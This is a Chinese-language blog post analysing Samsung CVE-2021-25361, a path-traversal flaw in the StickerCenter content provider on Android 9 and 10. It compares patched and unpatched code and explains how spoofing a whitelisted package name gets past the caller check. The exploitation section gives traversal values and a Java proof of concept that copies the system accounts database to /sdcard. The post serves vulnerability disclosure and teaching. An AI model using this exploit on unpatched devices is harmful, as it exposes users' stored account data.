三星手机 CVE-2021-25361 漏洞分析

# Samsung CVE-2021-25361 漏洞分析及利用 ## **0x1 漏洞描述** 该漏洞编号为 `CVE-2021-25361`,官方描述如下。 ```txt CVE-2021-25361: Arbitrary file read/write vulnerability v...

Samsung CVE-2021-25361 漏洞分析及利用

0x1 漏洞描述

该漏洞编号为 CVE-2021-25361,官方描述如下。

  1. CVE-2021-25361: Arbitrary file read/write vulnerability via unprotected StickerCenter content provider
  2. Severity: Moderate
  3. Affected versions: P(9.0), Q(10.0)
  4. Reported on: October 8, 2020
  5. Disclosure status: Privately disclosed.
  6. An improper access control vulnerability in stickerCenter prior to SMR APR-2021 Release 1 allows local attackers to read or write arbitrary files of system process via untrusted applications.

0x2 漏洞分析

根据官方文档描述可知,该漏洞位于 Sticker center 中,根据漏洞报告,下载 SMR APR-2021 Release 1 的官方 Rom,并与老版本进行对比发现以下差异。

旧版本如下:

  1. //旧版本
  2. package com.samsung.android.stickercenter.StickerProvider;
  3. public class StickerProvider extends StickerProvider {
  4. //---snip---
  5. private Uri insertInternal(SQLiteDatab ase datab ase, Uri uri, ContentValues CV, int arg19, boolean isNotify){
  6. String pkgName = contentResolve.getAsString(PKG_NAME);
  7. String Type = contentResolve.getAsString(TYPE);
  8. String versionName = contentResolve.getAsString(VERSION_NAME);
  9. String versionCode = contentResolve.getAsString(VERSION_CODE);
  10. String filePath = contentResolve.getAsString(FILE_PATH);
  11. String preName = contentResolve.getAsString(PREVIEW_NAME);
  12. String orgName = contentResolve.getAsString(ORIGINAL_NAME);
  13. //---snip---
  14. }
  15. //---snip---
  16. }

新版本如下:

  1. //新版本
  2. package com.samsung.android.stickercenter.StickerProvider;
  3. public class StickerProvider extends StickerProvider {
  4. //---snip---
  5. private Uri insertInternal(SQLiteDatab ase datab ase, Uri uri, ContentValues contentResolve, int arg19, boolean isNotify) {
  6. String pkgName = FilenameUtils.getName(contentResolve.getAsString(PKG_NAME)); // ---- 补丁
  7. String Type = FilenameUtils.getName(contentResolve.getAsString(TYPE)); // ---- 补丁
  8. String versionName = contentResolve.getAsString(VERSION_NAME);
  9. String versionCode = contentResolve.getAsString(VERSION_CODE);
  10. String filePath = FilenameUtils.getName(contentResolve.getAsString(FILE_PATH)); // ---- 补丁
  11. String preName = FilenameUtils.getName(contentResolve.getAsString(PREVIEW_NAME)); // ---- 补丁
  12. String orgName = FilenameUtils.getName(contentResolve.getAsString(ORIGINAL_NAME)); // ---- 补丁
  13. //---snip---
  14. }
  15. //---snip---
  16. }

新版本 FilenameUtils 类如下:

  1. //新版本中,FilenameUtils 类
  2. public class FilenameUtils {
  3. private static void failIfNullBytePresent(String arg3) {
  4. int v0 = arg3.length();
  5. int v1 = 0;
  6. while(v1 v0) {
  7. if(arg3.charAt(v1) != 0) {
  8. ++v1;
  9. continue;
  10. }
  11. throw new IllegalArgumentException(Null byte present in file/path name. There are no known legitimate use cases for such data, but several injection attacks may use it);
  12. }
  13. }
  14. public static String getName(String arg1) {
  15. if(arg1 == null) {
  16. return null;
  17. }
  18. FilenameUtils.failIfNullBytePresent(arg1);
  19. return arg1.substring(FilenameUtils.indexOfLastSeparator(arg1) + 1);
  20. }
  21. public static int indexOfLastSeparator(String arg2) {
  22. return arg2 == null ? -1 : Math.max(arg2.lastIndexOf(0x2F), arg2.lastIndexOf(92));
  23. }
  24. }

从对比中得知,漏洞补丁主要思路是通过 FilenameUtils.getName 函数对路径做进一步的筛查,其中筛查主要分为两个方面:

  • 通过 FilenameUtils.failIfNullBytePresent 函数确保路径中没有无效空字符。
  • 通过 arg1.substring(FilenameUtils.indexOfLastSeparator(arg1) + 1) 确保只保留最后一个层级的目录字符串。

下面开始简单的分析漏洞触发流程.
该漏洞存在于 stickercenter.StickerProvider 中的 insert 函数,在用户层可通过ContentResolver 调用其 insert 函数,首先在 insert 函数中,会验证调用者的包名是否合法:

  1. private Uri(Uri uri, ContentValues CV){
  2. //---snip---
  3. if(!this.isAuthorizedStickerApp(v2)) {
  4. StickerLog.d(StickerProvider.TAG, Unauthorized calling package : + v2);
  5. return null;
  6. }
  7. //---snip---
  8. }

isAuthorizedStickerApp 函数会验证 Exploit APP 包名是否在 AUTHORIZED_PACKAGES 白名单中:

  1. private boolean isAuthorizedStickerApp(String arg1) {
  2. return Constants.AUTHORIZED_PACKAGES.contains(arg1);
  3. }

该处只需替换 Exploit APP 包名为白名单中所包含的即可,AUTHORIZED_PACKAGES 初始化的白名单列表如下:

  1. Constants.AUTHORIZED_PACKAGES = new ArrayList(Arrays.asList(new String[]{
  2. com.sec.android.app.samsungapps, com.samsung.android.contacts, com.samsung.android.incallui, com.samsung.android.messaging, com.samsung.android.calendar, com.sec.android.mimage.photoretouching, com.sec.android.app.camera, com.sec.android.app.vepreload, com.samsung.android.stickerplugin, com.samsung.android.provider.stickerprovider, com.sec.android.inputmethod, com.sec.android.inputmethod.beta, com.sec.android.app.camera.avatarauth, com.samsung.android.stickonme, com.samsung.android.service.livedrawing, com.sec.android.mimage.avatarstickers, aeslauncher.android.sec.com.aeslauncheractivity, com.sec.android.easyMover, com.samsung.android.aremoji
  3. com.samsung.android.icecone, com.samsung.android.honeyboard, com.samsung.android.aremojieditor, com.samsung.android.sdk.sketchbook.avatarapp, com.samsung.android.livestickers, com.samsung.android.app.contacts, com.samsung.android.stickertestapp, com.samsung.android.gearnplugin, com.samsung.android.gearrplugin, com.samsung.android.gearpplugin, com.samsung.android.geargplugin, com.samsung.android.hostmanager}));
  4. }

用户可传入构造的参数ContentValues , 随后,会根据传入的参数获得如下几个参数:

  1. private Uri insertInternal(SQLiteDatab ase datab ase, Uri uri, ContentValues contentResolve, int arg19, boolean isNotify) {
  2. //---snip---
  3. String pkgName = contentResolver.getAsString(PKG_NAME);
  4. String Type = contentResolver.getAsString(TYPE);
  5. String versionName = contentResolver.getAsString(VERSION_NAME);
  6. String versionCode = contentResolver.getAsString(VERSION_CODE);
  7. String filePath = contentResolver.getAsString(FILE_PATH);
  8. String preName = contentResolver.getAsString(PREVIEW_NAME);
  9. String orgName = contentResolver.getAsString(ORIGINAL_NAME);
  10. //---snip---
  11. }

insert 函数首先会调用 checkExistSameData 函数,通过 pkgNameType 获取一个数据库:

  1. public Uri insert(Uri uri, ContentValues contentResolver) {
  2. //---snip---
  3. if(this.checkExistSameData(pkgName, Type, CV.getAsString(PREVIEW_NAME), CV.getAsString(ORIGINAL_NAME)) != 0) {
  4. return null;
  5. }
  6. //---snip---
  7. }

checkExistSameData 函数会查询 mStickerItemsDBHelperList 是否匹配用户传入的 pkgNameType 的数据库,若没有,则创建一个,并添加到 checkExistSameData 中。

接着,会进入 insertInternal 函数,先通过用户传入的 filePath + preName 获得一个 bitmap

  1. //---snip---
  2. byte[] bitmapFile = this.getByteFromBitmap(Uri.parse(filePath + preName));
  3. //---snip---

接下来,将旧文件复制到新的路径中。旧文件路径为: filePath + orgName ,新文件路径为 /data/overlays/sticker/0/ + Type + / + pkgName + /assets + / + orgName
漏洞利用的思路就是构造旧文件路径为 system_proccess 可读的文件,并利用路径遍历,将新文件路径指向 /sdcard 中,那么,用户传入的参数总结如下:

  1. /data/overlays/sticker/0/ + Type + / + pkgName = datab asePath //system_proccess权限可访问即可
  2. filePath + preName = bitmapPath //在sdcard下,这样有利于提前放入准备好的 .gif 格式文件
  3. filePath + orgName = oldFilePath //system_proccess权限可读
  4. /data/overlays/sticker/0/ + Type + / + pkgName + /assets + / + orgName = newFilePath //在sdcard目录下

0x3 漏洞利用

首先,需要让APP的包名为上述列表中的包名之一.
现在,假设要将 data/system_ce/0/accounts_ce.db 移动到sdcard中,那么各参数构造如下:

  1. PKG_NAME: com.mTEST1;
  2. TYPE: ../../../../sdcard/;
  3. FILE_PATH: file:///data/system_ce/0/;
  4. ORIGINAL_NAME: accounts_ce.db;
  5. PREVIEW_NAME: ../../../sdcard/com.mTEST1/assets/test.gif;

重复添加 PREVIEW_NAME 会导致数据库报错,无法后续流程

  1. private int checkExistSameData(String arg9, String arg10, String arg11, String arg12) {
  2. //---snip---
  3. if(new File(v6_1.toString()).exists()) {
  4. StickerLog.d(StickerProvider.TAG, There is a same file.);
  5. }
  6. //---snip---
  7. }

解决方法有两种,第一种是每次更改 .gif 的文件名,第二种方案是调用 Providerdelete 函数,具体见 Exploit 代码.

确定好各参数,接下来开始编写主要代码,核心的 Exploit 如下:

  1. public static void insert(ContentResolver contentResolver){
  2. Uri uri = Uri.parse(content://com.samsung.android.stickercenter.provider/update/sticker/item/);
  3. ContentValues contentValues = new ContentValues();
  4. contentValues.put(PKG_NAME,com.mTEST);
  5. contentValues.put(TYPE,../../../../sdcard/);
  6. contentValues.put(FILE_PATH,file:///data/system_ce/0/);
  7. contentValues.put(ORIGINAL_NAME,accounts_ce.db);
  8. contentValues.put(PREVIEW_NAME,../../../sdcard/com.mTEST1/assets/test.gif);
  9. Uri result = null;
  10. result = contentResolver.insert(uri,cv);
  11. if(result == null){
  12. log(result is null);
  13. }else{
  14. log(result.toString());
  15. }
  16. }

0x4 路径遍历总结

路径遍历类漏洞主要产生于对于包含了路径的字符串审查不严格,以及对高权限模块的调用者筛选不严格导致的。在编写代码时,要对由用户输入的参数保持高度警惕,做好充分的“消毒”,通常需要由专门的“工具类”来复用此类检查工作,要想完全避免路径遍历类漏洞,还是需要充分的代码审计以及测试步骤。

  • 发表于 2021-07-26 10:49:01
  • 阅读 ( 6418 )
  • 分类:漏洞分析

4 条评论

Tony酱
Tony酱

资深发型设计师

1 篇文章

站长统计